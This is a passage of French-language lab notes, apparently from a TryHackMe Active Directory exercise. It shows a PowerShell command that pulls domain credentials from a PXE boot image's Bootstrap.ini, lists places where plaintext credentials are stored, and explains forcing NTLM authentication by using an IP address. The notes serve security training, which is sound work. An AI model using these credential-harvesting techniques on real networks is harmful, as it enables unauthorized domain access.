  • Il existe plusieurs attaques que nous pourrions mettre en œuvre. Nous pourrions injecter un utilisateur administrateur local, afin d’avoir un accès administrateur dès que l’image démarre, nous pourrions installer l’image pour avoir une machine connectée à un domaine. Ici nous allons tout simpement récupérer les identifiants :
Get-FindCredentials -WimFile image_downloaded.wim

>> Open image_downloaded.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = <share>
>>>> >>>> UserID = <account>
>>>> >>>> UserDomain = LAB
>>>> >>>> UserPassword = <password>

Fichiers de configuration

Des identifiants peuvent se trouver en clair dans des fichiers de configuration de différents services.

  • Fichiers de configuration d’application web
  • Fichiers de configuration des services
  • Clés de registre
  • Applications déployées de manière centralisée (ces applications ont besoin d’une méthode pour s’authentifier auprès du domaine pendant les phases d’installation et d’exécution)

Automatisé avec : Seatbelt

Remarques

Question : Y a-t-il une différence entre dir \\za.tryhackme.com\SYSVOL et dir \<DC IP>\SYSVOL ?

Il y a une grande différence, qui se résume à la méthode d’authentification utilisée. Lorsque nous fournissons le hostname, l’authentification réseau tente d’abord d’effectuer l’authentification Kerberos. Si nous fournissons l’IP à la place, nous pouvons forcer le type d’authentification à être NTLM.